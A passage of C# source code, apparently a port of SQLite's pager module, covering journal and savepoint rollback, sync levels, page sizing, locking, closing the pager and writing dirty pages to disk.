and\n            ** continue adding pages rolled back to pDone.\n            */\n            while (rc == SQLITE_OK && pPager.journalOff < szJ)\n            {\n                u32 ii;            /* Loop counter */\n                u32 nJRec = 0;     /* Number of Journal Records */\n                u32 dummy = 0;\n                rc = readJournalHdr(pPager, 0, (int)szJ, ref nJRec, ref dummy);\n                Debug.Assert(rc != SQLITE_DONE);\n\n                /*\n                ** The \"pPager.journalHdr+JOURNAL_HDR_SZ(pPager)==pPager.journalOff\"\n                ** test is related to ticket #2565.  See the discussion in the\n                ** pager_playback() function for additional information.\n                */\n                if (nJRec == 0\n                && pPager.journalHdr + JOURNAL_HDR_SZ(pPager) == pPager.journalOff\n                )\n                {\n                    nJRec = (u32)((szJ - pPager.journalOff) / JOURNAL_PG_SZ(pPager));\n                }\n                for (ii = 0; rc == SQLITE_OK && ii < nJRec && pPager.journalOff < szJ; ii++)\n                {\n                    rc = pager_playback_one_page(pPager, 1, 0, ref pPager.journalOff, 1, pDone);\n                }\n                Debug.Assert(rc != SQLITE_DONE);\n            }\n            Debug.Assert(rc != SQLITE_OK || pPager.journalOff == szJ);\n\n            /* Finally,  rollback pages from the sub-journal.  Page that were\n            ** previously rolled back out of the main journal (and are hence in pDone)\n            ** will be skipped.  Out-of-range pages are also skipped.\n            */\n            if (pSavepoint != null)\n            {\n                u32 ii;            /* Loop counter */\n                i64 offset = pSavepoint.iSubRec * (4 + pPager.pageSize);\n                for (ii = pSavepoint.iSubRec; rc == SQLITE_OK && ii < pPager.nSubRec; ii++)\n                {\n                    Debug.Assert(offset == ii * (4 + pPager.pageSize));\n                    rc = pager_playback_one_page(pPager, 0, 0, ref offset, 1, pDone);\n                }\n                Debug.Assert(rc != SQLITE_DONE);\n            }\n\n            sqlite3BitvecDestroy(ref pDone);\n            if (rc == SQLITE_OK)\n            {\n                pPager.journalOff = (int)szJ;\n            }\n            return rc;\n        }\n\n        /*\n        ** Change the maximum number of in-memory pages that are allowed.\n        */\n        static void sqlite3PagerSetCachesize(Pager pPager, int mxPage)\n        {\n            sqlite3PcacheSetCachesize(pPager.pPCache, mxPage);\n        }\n\n        /*\n        ** Adjust the robustness of the database to damage due to OS crashes\n        ** or power failures by changing the number of syncs()s when writing\n        ** the rollback journal.  There are three levels:\n        **\n        **    OFF       sqlite3OsSync() is never called.  This is the default\n        **              for temporary and transient files.\n        **\n        **    NORMAL    The journal is synced once before writes begin on the\n        **              database.  This is normally adequate protection, but\n        **              it is theoretically possible, though very unlikely,\n        **              that an inopertune power failure could leave the journal\n        **              in a state which would cause damage to the database\n        **              when it is rolled back.\n        **\n        **    FULL      The journal is synced twice before writes begin on the\n        **              database (with some additional information - the nRec field\n        **              of the journal header - being written in between the two\n        **              syncs).  If we assume that writing a\n        **              single disk sector is atomic, then this mode provides\n        **              assurance that the journal will not be corrupted to the\n        **              point of causing damage to the database during rollback.\n        **\n        ** Numeric values associated with these states are OFF==1, NORMAL=2,\n        ** and FULL=3.\n        */\n#if !SQLITE_OMIT_PAGER_PRAGMAS\n        static void sqlite3PagerSetSafetyLevel(Pager pPager, int level, bool bFullFsync)\n        {\n            pPager.noSync = (level == 1 || pPager.tempFile);\n            pPager.fullSync = (level == 3 && !pPager.tempFile);\n            pPager.sync_flags = bFullFsync ? SQLITE_SYNC_FULL : SQLITE_SYNC_NORMAL;\n            if (pPager.noSync) pPager.needSync = false;\n        }\n#endif\n\n        /*\n    ** The following global variable is incremented whenever the library\n    ** attempts to open a temporary file.  This information is used for\n    ** testing and analysis only.\n    */\n#if SQLITE_TEST\n    //static int sqlite3_opentemp_count = 0;\n#endif\n\n        /*\n    ** Open a temporary file.\n    **\n    ** Write the file descriptor into *pFile. Return SQLITE_OK on success\n    ** or some other error code if we fail. The OS will automatically\n    ** delete the temporary file when it is closed.\n    **\n    ** The flags passed to the VFS layer xOpen() call are those specified\n    ** by parameter vfsFlags ORed with the following:\n    **\n    **     SQLITE_OPEN_READWRITE\n    **     SQLITE_OPEN_CREATE\n    **     SQLITE_OPEN_EXCLUSIVE\n    **     SQLITE_OPEN_DELETEONCLOSE\n    */\n        static int pagerOpentemp(\n        Pager pPager,           /* The pager object */\n        ref sqlite3_file pFile, /* Write the file descriptor here */\n        int vfsFlags            /* Flags passed through to the VFS */\n        )\n        {\n            int rc;               /* Return code */\n\n#if SQLITE_TEST\n      sqlite3_opentemp_count.iValue++;  /* Used for testing and analysis only */\n#endif\n\n            vfsFlags |= SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE |\n            SQLITE_OPEN_EXCLUSIVE | SQLITE_OPEN_DELETEONCLOSE;\n            int dummy = 0;\n            rc = sqlite3OsOpen(pPager.pVfs, null, pFile, vfsFlags, ref dummy);\n            Debug.Assert(rc != SQLITE_OK || isOpen(pFile));\n            return rc;\n        }\n\n        /*\n        ** Set the busy handler function.\n        **\n        ** The pager invokes the busy-handler if sqlite3OsLock() returns\n        ** SQLITE_BUSY when trying to upgrade from no-lock to a SHARED lock,\n        ** or when trying to upgrade from a RESERVED lock to an EXCLUSIVE\n        ** lock. It does *not* invoke the busy handler when upgrading from\n        ** SHARED to RESERVED, or when upgrading from SHARED to EXCLUSIVE\n        ** (which occurs during hot-journal rollback). Summary:\n        **\n        **   Transition                        | Invokes xBusyHandler\n        **   --------------------------------------------------------\n        **   NO_LOCK       -> SHARED_LOCK      | Yes\n        **   SHARED_LOCK   -> RESERVED_LOCK    | No\n        **   SHARED_LOCK   -> EXCLUSIVE_LOCK   | No\n        **   RESERVED_LOCK -> EXCLUSIVE_LOCK   | Yes\n        **\n        ** If the busy-handler callback returns non-zero, the lock is\n        ** retried. If it returns zero, then the SQLITE_BUSY error is\n        ** returned to the caller of the pager API function.\n        */\n\n        static void sqlite3PagerSetBusyhandler(\n        Pager pPager,                         /* Pager object */\n        dxBusyHandler xBusyHandler,           /* Pointer to busy-handler function */\n        //int (*xBusyHandler)(void *),\n        object pBusyHandlerArg                /* Argument to pass to xBusyHandler */\n        )\n        {\n            pPager.xBusyHandler = xBusyHandler;\n            pPager.pBusyHandlerArg = pBusyHandlerArg;\n        }\n\n        /*\n        ** Report the current page size and number of reserved bytes back\n        ** to the codec.\n        */\n#if SQLITE_HAS_CODEC\nstatic void pagerReportSize(Pager *pPager){\nif( pPager->xCodecSizeChng ){\npPager->xCodecSizeChng(pPager->pCodec, pPager->pageSize,\n(int)pPager->nReserve);\n}\n}\n#else\n        //# define pagerReportSize(X)     /* No-op if we do not support a codec */\n        static void pagerReportSize(Pager pPager) { }\n#endif\n\n        /*\n    ** Change the page size used by the Pager object. The new page size\n    ** is passed in *pPageSize.\n    **\n    ** If the pager is in the error state when this function is called, it\n    ** is a no-op. The value returned is the error state error code (i.e.\n    ** one of SQLITE_IOERR, SQLITE_CORRUPT or SQLITE_FULL).\n    **\n    ** Otherwise, if all of the following are true:\n    **\n    **   * the new page size (value of *pPageSize) is valid (a power\n    **     of two between 512 and SQLITE_MAX_PAGE_SIZE, inclusive), and\n    **\n    **   * there are no outstanding page references, and\n    **\n    **   * the database is either not an in-memory database or it is\n    **     an in-memory database that currently consists of zero pages.\n    **\n    ** then the pager object page size is set to *pPageSize.\n    **\n    ** If the page size is changed, then this function uses sqlite3PagerMalloc()\n    ** to obtain a new Pager.pTmpSpace buffer. If this allocation attempt\n    ** fails, SQLITE_NOMEM is returned and the page size remains unchanged.\n    ** In all other cases, SQLITE_OK is returned.\n    **\n    ** If the page size is not changed, either because one of the enumerated\n    ** conditions above is not true, the pager was in error state when this\n    ** function was called, or because the memory allocation attempt failed,\n    ** then *pPageSize is set to the old, retained page size before returning.\n    */\n        static int sqlite3PagerSetPagesize(Pager pPager, ref u16 pPageSize, int nReserve)\n        {\n            int rc = pPager.errCode;\n            if (rc == SQLITE_OK)\n            {\n                int pageSize = pPageSize;\n                Debug.Assert(pageSize == 0 || (pageSize >= 512 && pageSize <= SQLITE_MAX_PAGE_SIZE));\n                if ((pPager.memDb == 0 || pPager.dbSize == 0)\n                 && sqlite3PcacheRefCount(pPager.pPCache) == 0\n                 && pageSize != 0 && pageSize != pPager.pageSize\n                    )\n                {\n                    //PgHdr pNew = sqlite3PageMalloc( pageSize );\n                    //if ( pNew == null )\n                    //{\n                    //  rc = SQLITE_NOMEM;\n                    //}\n                    //else\n                    {\n                        pager_reset(pPager);\n                        pPager.pageSize = pageSize;\n                        //sqlite3PageFree( ref  pPager.pTmpSpace );\n                        pPager.pTmpSpace = new byte[pageSize];// pNew;\n                        sqlite3PcacheSetPageSize(pPager.pPCache, pageSize);\n                    }\n                }\n                pPageSize = (u16)pPager.pageSize;\n                if (nReserve < 0) nReserve = pPager.nReserve;\n                Debug.Assert(nReserve >= 0 && nReserve < 1000);\n                pPager.nReserve = (i16)nReserve;\n                pagerReportSize(pPager);\n            }\n            return rc;\n        }\n\n        /*\n        ** Return a pointer to the \"temporary page\" buffer held internally\n        ** by the pager.  This is a buffer that is big enough to hold the\n        ** entire content of a database page.  This buffer is used internally\n        ** during rollback and will be overwritten whenever a rollback\n        ** occurs.  But other modules are free to use it too, as long as\n        ** no rollbacks are happening.\n        */\n        static byte[] sqlite3PagerTempSpace(Pager pPager)\n        {\n            return pPager.pTmpSpace;\n        }\n\n        /*\n        ** Attempt to set the maximum database page count if mxPage is positive.\n        ** Make no changes if mxPage is zero or negative.  And never reduce the\n        ** maximum page count below the current size of the database.\n        **\n        ** Regardless of mxPage, return the current maximum page count.\n        */\n        static long sqlite3PagerMaxPageCount(Pager pPager, int mxPage)\n        {\n            if (mxPage > 0)\n            {\n                pPager.mxPgno = (Pgno)mxPage;\n            }\n            int idummy = 0;\n            sqlite3PagerPagecount(pPager, ref idummy);\n            return pPager.mxPgno;\n        }\n\n        /*\n        ** The following set of routines are used to disable the simulated\n        ** I/O error mechanism.  These routines are used to avoid simulated\n        ** errors in places where we do not care about errors.\n        **\n        ** Unless -DSQLITE_TEST=1 is used, these routines are all no-ops\n        ** and generate no code.\n        */\n#if SQLITE_TEST\n    //extern int sqlite3_io_error_pending;\n    //extern int sqlite3_io_error_hit;\n    static int saved_cnt;\n    static void disable_simulated_io_errors()\n    {\n      saved_cnt = sqlite3_io_error_pending.iValue;\n      sqlite3_io_error_pending.iValue = -1;\n    }\n    static void enable_simulated_io_errors()\n    {\n      sqlite3_io_error_pending.iValue = saved_cnt;\n    }\n#else\n        //# define disable_simulated_io_errors()\n        //# define enable_simulated_io_errors()\n#endif\n\n        /*\n    ** Read the first N bytes from the beginning of the file into memory\n    ** that pDest points to.\n    **\n    ** If the pager was opened on a transient file (zFilename==\"\"), or\n    ** opened on a file less than N bytes in size, the output buffer is\n    ** zeroed and SQLITE_OK returned. The rationale for this is that this\n    ** function is used to read database headers, and a new transient or\n    ** zero sized database has a header than consists entirely of zeroes.\n    **\n    ** If any IO error apart from SQLITE_IOERR_SHORT_READ is encountered,\n    ** the error code is returned to the caller and the contents of the\n    ** output buffer undefined.\n    */\n        static int sqlite3PagerReadFileheader(Pager pPager, int N, byte[] pDest)\n        {\n            int rc = SQLITE_OK;\n            Array.Clear(pDest, 0, N); //memset(pDest, 0, N);\n            Debug.Assert(isOpen(pPager.fd) || pPager.tempFile);\n            if (isOpen(pPager.fd))\n            {\n                IOTRACE(\"DBHDR %p 0 %d\\n\", pPager, N);\n                rc = sqlite3OsRead(pPager.fd, pDest, N, 0);\n                if (rc == SQLITE_IOERR_SHORT_READ)\n                {\n                    rc = SQLITE_OK;\n                }\n            }\n            return rc;\n        }\n\n        /*\n        ** Return the total number of pages in the database file associated\n        ** with pPager. Normally, this is calculated as (<db file size>/<page-size>).\n        ** However, if the file is between 1 and <page-size> bytes in size, then\n        ** this is considered a 1 page file.\n        **\n        ** If the pager is in error state when this function is called, then the\n        ** error state error code is returned and *pnPage left unchanged. Or,\n        ** if the file system has to be queried for the size of the file and\n        ** the query attempt returns an IO error, the IO error code is returned\n        ** and *pnPage is left unchanged.\n        **\n        ** Otherwise, if everything is successful, then SQLITE_OK is returned\n        ** and *pnPage is set to the number of pages in the database.\n        */\n        static int sqlite3PagerPagecount(Pager pPager, ref int pnPage)\n        {\n            int nPage;               /* Value to return via *pnPage */\n\n            /* If the pager is already in the error state, return the error code. */\n            if (pPager.errCode != 0)\n            {\n                return pPager.errCode;\n            }\n\n            /* Determine the number of pages in the file. Store this in nPage. */\n            if (pPager.dbSizeValid)\n            {\n                nPage = (int)pPager.dbSize;\n            }\n            else\n            {\n                int rc;                 /* Error returned by OsFileSize() */\n                int n = 0;              /* File size in bytes returned by OsFileSize() */\n\n                Debug.Assert(isOpen(pPager.fd) || pPager.tempFile);\n                if (isOpen(pPager.fd) && (0 != (rc = sqlite3OsFileSize(pPager.fd, ref n))))\n                {\n                    pager_error(pPager, rc);\n                    return rc;\n                }\n                if (n > 0 && n < pPager.pageSize)\n                {\n                    nPage = 1;\n                }\n                else\n                {\n                    nPage = n / pPager.pageSize;\n                }\n                if (pPager.state != PAGER_UNLOCK)\n                {\n                    pPager.dbSize = (Pgno)nPage;\n                    pPager.dbFileSize = (Pgno)nPage;\n                    pPager.dbSizeValid = true;\n                }\n            }\n\n            /* If the current number of pages in the file is greater than the\n            ** configured maximum pager number, increase the allowed limit so\n            ** that the file can be read.\n            */\n            if (nPage > pPager.mxPgno)\n            {\n                pPager.mxPgno = (Pgno)nPage;\n            }\n\n            /* Set the output variable and return SQLITE_OK */\n            //  if( pnPage ){\n            pnPage = nPage;\n            //}\n            return SQLITE_OK;\n        }\n\n        /*\n        ** Try to obtain a lock of type locktype on the database file. If\n        ** a similar or greater lock is already held, this function is a no-op\n        ** (returning SQLITE_OK immediately).\n        **\n        ** Otherwise, attempt to obtain the lock using sqlite3OsLock(). Invoke\n        ** the busy callback if the lock is currently not available. Repeat\n        ** until the busy callback returns false or until the attempt to\n        ** obtain the lock succeeds.\n        **\n        ** Return SQLITE_OK on success and an error code if we cannot obtain\n        ** the lock. If the lock is obtained successfully, set the Pager.state\n        ** variable to locktype before returning.\n        */\n        static int pager_wait_on_lock(Pager pPager, int locktype)\n        {\n            int rc;                              /* Return code */\n\n            /* The OS lock values must be the same as the Pager lock values */\n            Debug.Assert(PAGER_SHARED == SHARED_LOCK);\n            Debug.Assert(PAGER_RESERVED == RESERVED_LOCK);\n            Debug.Assert(PAGER_EXCLUSIVE == EXCLUSIVE_LOCK);\n\n            /* If the file is currently unlocked then the size must be unknown */\n            Debug.Assert(pPager.state >= PAGER_SHARED || pPager.dbSizeValid == false);\n\n            /* Check that this is either a no-op (because the requested lock is\n            ** already held, or one of the transistions that the busy-handler\n            ** may be invoked during, according to the comment above\n            ** sqlite3PagerSetBusyhandler().\n            */\n            Debug.Assert((pPager.state >= locktype)\n            || (pPager.state == PAGER_UNLOCK && locktype == PAGER_SHARED)\n            || (pPager.state == PAGER_RESERVED && locktype == PAGER_EXCLUSIVE)\n            );\n\n            if (pPager.state >= locktype)\n            {\n                rc = SQLITE_OK;\n            }\n            else\n            {\n                do\n                {\n                    rc = sqlite3OsLock(pPager.fd, locktype);\n                } while (rc == SQLITE_BUSY && pPager.xBusyHandler(pPager.pBusyHandlerArg) != 0);\n                if (rc == SQLITE_OK)\n                {\n                    pPager.state = (u8)locktype;\n                    IOTRACE(\"LOCK %p %d\\n\", pPager, locktype);\n                }\n            }\n            return rc;\n        }\n\n        /*\n        ** Function assertTruncateConstraint(pPager) checks that one of the \n        ** following is true for all dirty pages currently in the page-cache:\n        **\n        **   a) The page number is less than or equal to the size of the \n        **      current database image, in pages, OR\n        **\n        **   b) if the page content were written at this time, it would not\n        **      be necessary to write the current content out to the sub-journal\n        **      (as determined by function subjRequiresPage()).\n        **\n        ** If the condition asserted by this function were not true, and the\n        ** dirty page were to be discarded from the cache via the pagerStress()\n        ** routine, pagerStress() would not write the current page content to\n        ** the database file. If a savepoint transaction were rolled back after\n        ** this happened, the correct behaviour would be to restore the current\n        ** content of the page. However, since this content is not present in either\n        ** the database file or the portion of the rollback journal and \n        ** sub-journal rolled back the content could not be restored and the\n        ** database image would become corrupt. It is therefore fortunate that \n        ** this circumstance cannot arise.\n        */\n#if SQLITE_DEBUG\n    static void assertTruncateConstraintCb( PgHdr pPg )\n    {\n      Debug.Assert( ( pPg.flags & PGHDR_DIRTY ) != 0 );\n      Debug.Assert( !subjRequiresPage( pPg ) || pPg.pgno <= pPg.pPager.dbSize );\n    }\n    static void assertTruncateConstraint( Pager pPager )\n    {\n      sqlite3PcacheIterateDirty( pPager.pPCache, assertTruncateConstraintCb );\n    }\n#else\n        //# define assertTruncateConstraint(pPager)\n        static void assertTruncateConstraintCb(PgHdr pPg) { }\n        static void assertTruncateConstraint(Pager pPager) { }\n#endif\n\n        /*\n            ** Truncate the in-memory database file image to nPage pages. This\n            ** function does not actually modify the database file on disk. It\n            ** just sets the internal state of the pager object so that the\n            ** truncation will be done when the current transaction is committed.\n            */\n        static void sqlite3PagerTruncateImage(Pager pPager, u32 nPage)\n        {\n            Debug.Assert(pPager.dbSizeValid);\n            Debug.Assert(pPager.dbSize >= nPage);\n            Debug.Assert(pPager.state >= PAGER_RESERVED);\n            pPager.dbSize = nPage;\n            assertTruncateConstraint(pPager);\n        }\n\n        /*\n        ** Shutdown the page cache.  Free all memory and close all files.\n        **\n        ** If a transaction was in progress when this routine is called, that\n        ** transaction is rolled back.  All outstanding pages are invalidated\n        ** and their memory is freed.  Any attempt to use a page associated\n        ** with this page cache after this function returns will likely\n        ** result in a coredump.\n        **\n        ** This function always succeeds. If a transaction is active an attempt\n        ** is made to roll it back. If an error occurs during the rollback\n        ** a hot journal may be left in the filesystem but no error is returned\n        ** to the caller.\n        */\n        static int sqlite3PagerClose(Pager pPager)\n        {\n#if SQLITE_TEST\n      disable_simulated_io_errors();\n#endif\n            sqlite3BeginBenignMalloc();\n            pPager.errCode = 0;\n            pPager.exclusiveMode = false;\n            pager_reset(pPager);\n            if (\n#if SQLITE_OMIT_MEMORYDB\n1==MEMDB\n#else\n 1 == pPager.memDb\n#endif\n )\n            {\n                pager_unlock(pPager);\n            }\n            else\n            {\n                /* Set Pager.journalHdr to -1 for the benefit of the pager_playback()\n                ** call which may be made from within pagerUnlockAndRollback(). If it\n                ** is not -1, then the unsynced portion of an open journal file may\n                ** be played back into the database. If a power failure occurs while\n                ** this is happening, the database may become corrupt.\n                */\n                pPager.journalHdr = -1;\n                pagerUnlockAndRollback(pPager);\n            }\n            sqlite3EndBenignMalloc();\n#if SQLITE_TEST\n      enable_simulated_io_errors();\n#endif\n\n            PAGERTRACE(\"CLOSE %d\\n\", PAGERID(pPager));\n            IOTRACE(\"CLOSE %p\\n\", pPager);\n            sqlite3OsClose(pPager.fd);\n            //sqlite3_free( ref  pPager.pTmpSpace );\n            sqlite3PcacheClose(pPager.pPCache);\n\n#if SQLITE_HAS_CODEC\nif( pPager->xCodecFree ) pPager->xCodecFree(pPager->pCodec);\n#endif\n            Debug.Assert(null == pPager.aSavepoint && !pPager.pInJournal);\n            Debug.Assert(!isOpen(pPager.jfd) && !isOpen(pPager.sjfd));\n\n            //sqlite3_free( ref  pPager );\n            return SQLITE_OK;\n        }\n\n#if !NDEBUG || SQLITE_TEST\n    /*\n** Return the page number for page pPg.\n*/\n    static Pgno sqlite3PagerPagenumber( DbPage pPg )\n    {\n      return pPg.pgno;\n    }\n#else\n        static Pgno sqlite3PagerPagenumber(DbPage pPg) { return pPg.pgno; }\n#endif\n\n\n        /*\n    ** Increment the reference count for page pPg.\n    */\n        static void sqlite3PagerRef(DbPage pPg)\n        {\n            sqlite3PcacheRef(pPg);\n        }\n\n        /*\n        ** Sync the journal. In other words, make sure all the pages that have\n        ** been written to the journal have actually reached the surface of the\n        ** disk and can be restored in the event of a hot-journal rollback.\n        **\n        ** If the Pager.needSync flag is not set, then this function is a\n        ** no-op. Otherwise, the actions required depend on the journal-mode\n        ** and the device characteristics of the the file-system, as follows:\n        **\n        **   * If the journal file is an in-memory journal file, no action need\n        **     be taken.\n        **\n        **   * Otherwise, if the device does not support the SAFE_APPEND property,\n        **     then the nRec field of the most recently written journal header\n        **     is updated to contain the number of journal records that have\n        **     been written following it. If the pager is operating in full-sync\n        **     mode, then the journal file is synced before this field is updated.\n        **\n        **   * If the device does not support the SEQUENTIAL property, then\n        **     journal file is synced.\n        **\n        ** Or, in pseudo-code:\n        **\n        **   if( NOT <in-memory journal> ){\n        **     if( NOT SAFE_APPEND ){\n        **       if( <full-sync mode> ) xSync(<journal file>);\n        **       <update nRec field>\n        **     }\n        **     if( NOT SEQUENTIAL ) xSync(<journal file>);\n        **   }\n        **\n        ** The Pager.needSync flag is never be set for temporary files, or any\n        ** file operating in no-sync mode (Pager.noSync set to non-zero).\n        **\n        ** If successful, this routine clears the PGHDR_NEED_SYNC flag of every\n        ** page currently held in memory before returning SQLITE_OK. If an IO\n        ** error is encountered, then the IO error code is returned to the caller.\n        */\n        static int syncJournal(Pager pPager)\n        {\n            if (pPager.needSync)\n            {\n                Debug.Assert(!pPager.tempFile);\n                if (pPager.journalMode != PAGER_JOURNALMODE_MEMORY)\n                {\n                    int rc = SQLITE_OK;\n                    int iDc = sqlite3OsDeviceCharacteristics(pPager.fd);\n                    Debug.Assert(isOpen(pPager.jfd));\n\n                    if (0 == (iDc & SQLITE_IOCAP_SAFE_APPEND))\n                    {\n                        /* This block deals with an obscure problem. If the last connection\n                        ** that wrote to this database was operating in persistent-journal\n                        ** mode, then the journal file may at this point actually be larger\n                        ** than Pager.journalOff bytes. If the next thing in the journal\n                        ** file happens to be a journal-header (written as part of the\n                        ** previous connections transaction), and a crash or power-failure\n                        ** occurs after nRec is updated but before this connection writes\n                        ** anything else to the journal file (or commits/rolls back its\n                        ** transaction), then SQLite may become confused when doing the\n                        ** hot-journal rollback following recovery. It may roll back all\n                        ** of this connections data, then proceed to rolling back the old,\n                        ** out-of-date data that follows it. Database corruption.\n                        **\n                        ** To work around this, if the journal file does appear to contain\n                        ** a valid header following Pager.journalOff, then write a 0x00\n                        ** byte to the start of it to prevent it from being recognized.\n                        **\n                        ** Variable iNextHdrOffset is set to the offset at which this\n                        ** problematic header will occur, if it exists. aMagic is used\n                        ** as a temporary buffer to inspect the first couple of bytes of\n                        ** the potential journal header.\n                        */\n                        i64 iNextHdrOffset;\n                        u8[] aMagic = new u8[8];\n                        u8[] zHeader = new u8[aJournalMagic.Length + 4];\n                        aJournalMagic.CopyTo(zHeader, 0);// memcpy(zHeader, aJournalMagic, sizeof(aJournalMagic));\n                        put32bits(zHeader, aJournalMagic.Length, pPager.nRec);\n                        iNextHdrOffset = journalHdrOffset(pPager);\n                        rc = sqlite3OsRead(pPager.jfd, aMagic, 8, iNextHdrOffset);\n                        if (rc == SQLITE_OK && 0 == memcmp(aMagic, aJournalMagic, 8))\n                        {\n                            u8[] zerobyte = new u8[1];\n                            rc = sqlite3OsWrite(pPager.jfd, zerobyte, 1, iNextHdrOffset);\n                        }\n                        if (rc != SQLITE_OK && rc != SQLITE_IOERR_SHORT_READ)\n                        {\n                            return rc;\n                        }\n\n                        /* Write the nRec value into the journal file header. If in\n                        ** full-synchronous mode, sync the journal first. This ensures that\n                        ** all data has really hit the disk before nRec is updated to mark\n                        ** it as a candidate for rollback.\n                        **\n                        ** This is not required if the persistent media supports the\n                        ** SAFE_APPEND property. Because in this case it is not possible\n                        ** for garbage data to be appended to the file, the nRec field\n                        ** is populated with 0xFFFFFFFF when the journal header is written\n                        ** and never needs to be updated.\n                        */\n                        if (pPager.fullSync && 0 == (iDc & SQLITE_IOCAP_SEQUENTIAL))\n                        {\n\n                            PAGERTRACE(\"SYNC journal of %d\\n\", PAGERID(pPager));\n                            IOTRACE(\"JSYNC %p\\n\", pPager);\n                            rc = sqlite3OsSync(pPager.jfd, pPager.sync_flags);\n                            if (rc != SQLITE_OK) return rc;\n                        }\n                        IOTRACE(\"JHDR %p %lld\\n\", pPager, pPager.journalHdr);\n                        rc = sqlite3OsWrite(\n                        pPager.jfd, zHeader, zHeader.Length, pPager.journalHdr\n                        );\n                        if (rc != SQLITE_OK) return rc;\n                    }\n                    if (0 == (iDc & SQLITE_IOCAP_SEQUENTIAL))\n                    {\n\n                        PAGERTRACE(\"SYNC journal of %d\\n\", PAGERID(pPager));\n                        IOTRACE(\"JSYNC %p\\n\", pPager);\n                        rc = sqlite3OsSync(pPager.jfd, pPager.sync_flags |\n                        (pPager.sync_flags == SQLITE_SYNC_FULL ? SQLITE_SYNC_DATAONLY : 0)\n                        );\n                        if (rc != SQLITE_OK) return rc;\n                    }\n                }\n\n                /* The journal file was just successfully synced. Set Pager.needSync\n                ** to zero and clear the PGHDR_NEED_SYNC flag on all pagess.\n                */\n                pPager.needSync = false;\n                pPager.journalStarted = true;\n                sqlite3PcacheClearSyncFlags(pPager.pPCache);\n            }\n            return SQLITE_OK;\n        }\n\n        /*\n        ** The argument is the first in a linked list of dirty pages connected\n        ** by the PgHdr.pDirty pointer. This function writes each one of the\n        ** in-memory pages in the list to the database file. The argument may\n        ** be NULL, representing an empty list. In this case this function is\n        ** a no-op.\n        **\n        ** The pager must hold at least a RESERVED lock when this function\n        ** is called. Before writing anything to the database file, this lock\n        ** is upgraded to an EXCLUSIVE lock. If the lock cannot be obtained,\n        ** SQLITE_BUSY is returned and no data is written to the database file.\n        **\n        ** If the pager is a temp-file pager and the actual file-system file\n        ** is not yet open, it is created and opened before any data is\n        ** written out.\n        **\n        ** Once the lock has been upgraded and, if necessary, the file opened,\n        ** the pages are written out to the database file in list order. Writing\n        ** a page is skipped if it meets either of the following criteria:\n        **\n        **   * The page number is greater than Pager.dbSize, or\n        **   * The PGHDR_DONT_WRITE flag is set on the page.\n        **\n        ** If writing out a page causes the database file to grow, Pager.dbFileSize\n        ** is updated accordingly. If page 1 is written out, then the value cached\n        ** in Pager.dbFileVers[] is updated to match the new value stored in\n        ** the database file.\n        **\n        ** If everything is successful, SQLITE_OK is returned. If an IO error\n        ** occurs, an IO error code is returned. Or, if the EXCLUSIVE lock cannot\n        ** be obtained, SQLITE_BUSY is returned.\n        */\n        static int pager_write_pagelist(PgHdr pList)\n        {\n            Pager pPager;                        /* Pager object */\n            int rc;                              /* Return code */\n\n            if (NEVER(pList == null)) return SQLITE_OK;\n            pPager = pList.pPager;\n\n            /* At this point there may be either a RESERVED or EXCLUSIVE lock on the\n            ** database file. If there is already an EXCLUSIVE lock, the following\n            ** call is a no-op.\n            **\n            ** Moving the lock from RESERVED to EXCLUSIVE actually involves going\n            ** through an intermediate state PENDING.   A PENDING lock prevents new\n            ** readers from attaching to the database but is unsufficient for us to\n            ** write.  The idea of a PENDING lock is to prevent new readers from\n            ** coming in while we wait for existing readers to clear.\n            **\n            ** While the pager is in the RESERVED state, the original database file\n            ** is unchanged and we can rollback without having to playback the\n            ** journal into the original database file.  Once we transition to\n            ** EXCLUSIVE, it means the database file has been changed and any rollback\n            ** will require a journal playback.\n            */\n            Debug.Assert(pPager.state >= PAGER_RESERVED);\n            rc = pager_wait_on_lock(pPager, EXCLUSIVE_LOCK);\n            /* If the file is a temp-file has not yet been opened, open it now. It\n            ** is not possible for rc to be other than SQLITE_OK if this branch\n            ** is taken, as pager_wait_on_lock() is a no-op for temp-files.\n            */\n            if (!isOpen(pPager.fd))\n            {\n                Debug.Assert(pPager.tempFile && rc == SQLITE_OK);\n                rc = pagerOpentemp(pPager, ref pPager.fd, (int)pPager.vfsFlags);\n            }\n\n            while (rc == SQLITE_OK && pList)\n            {\n                Pgno pgno = pList.pgno;\n\n                /* If there are dirty pages in the page cache with page numbers greater\n                ** than Pager.dbSize, this means sqlite3PagerTruncateImage() was called to\n                ** make the file smaller (presumably by auto-vacuum code). Do not write\n                ** any such pages to the file.\n                **\n                ** Also, do not write out any page that has the PGHDR_DONT_WRITE flag\n                ** set (set by sqlite3PagerDontWrite()).\n                */\n                if (pList.pgno <= pPager.dbSize && 0 == (pList.flags & PGHDR_DONT_WRITE))\n                {\n                    i64 offset = (pList.pgno - 1) * (i64)pPager.pageSize;      /* Offset to write */\n                    byte[] pData = null;                                   /* Data to write */\n\n                    /* Encode the database */\n                    CODEC2(pPager, pList.pData, pgno, 6, SQLITE_NOMEM, ref pData);//     CODEC2(pPager, pList->pData, pgno, 6, return SQLITE_NOMEM, pData);\n\n                    /* Write out the page data. */\n                    rc = sqlite3OsWrite(pPager.fd, pData, pPager.pageSize, offset);\n                    /* If page 1 was just written, update Pager.dbFileVers to match\n                    ** the value now stored in the database file. If writing this\n                    ** page caused the database file to grow, update dbFileSize.\n                    */\n                    if (pgno == 1)\n                    {\n                        Buffer.BlockCopy(pData, 24, pPager.dbFileVers, 0, pPager.dbFileVers.Length);// memcpy(pPager.dbFileVers, pData[24], pPager.dbFileVers).Length;\n                    }\n                    if (pgno > pPager.dbFileSize)\n                    {\n                        pPager.dbFileSize = pgno;\n                    }\n                    /* Update any backup objects copying the contents of this pager. */\n                    sqlite3BackupUpdate(pPager.pBackup, pgno, pList.pData);\n\n\n                    PAGERTRACE(\"STORE %d page %d hash(%08x)\\n\",\n                    PAGERID(pPager), pgno, pager_pagehash(pList));\n                    IOTRACE(\"PGOUT %p %d\\n\", pPager, pgno);\n#if SQLITE_TEST\n          int iValue;\n          iValue = sqlite3_pager_writedb_count.iValue;\n          PAGER_INCR( ref iValue );\n          sqlite3_pager_writedb_count.iValue = iValue;\n\n          PAGER_INCR( ref pPager.nWrite );\n#endif\n                }\n                else\n                {\n\n                    PAGERTRACE(\"NOSTORE %d page %d\\n\", PAGERID(pPager), pgno);\n                }\n#if SQLITE_CHECK_PAGES\npList.pageHash = pager_pagehash(pList);\n#endif\n                pList = pList.pDirty;\n            }\n            return rc;\n        }\n\n        /*\n        ** Append a record of the current state of page pPg to the sub-journal.\n        ** It is the callers 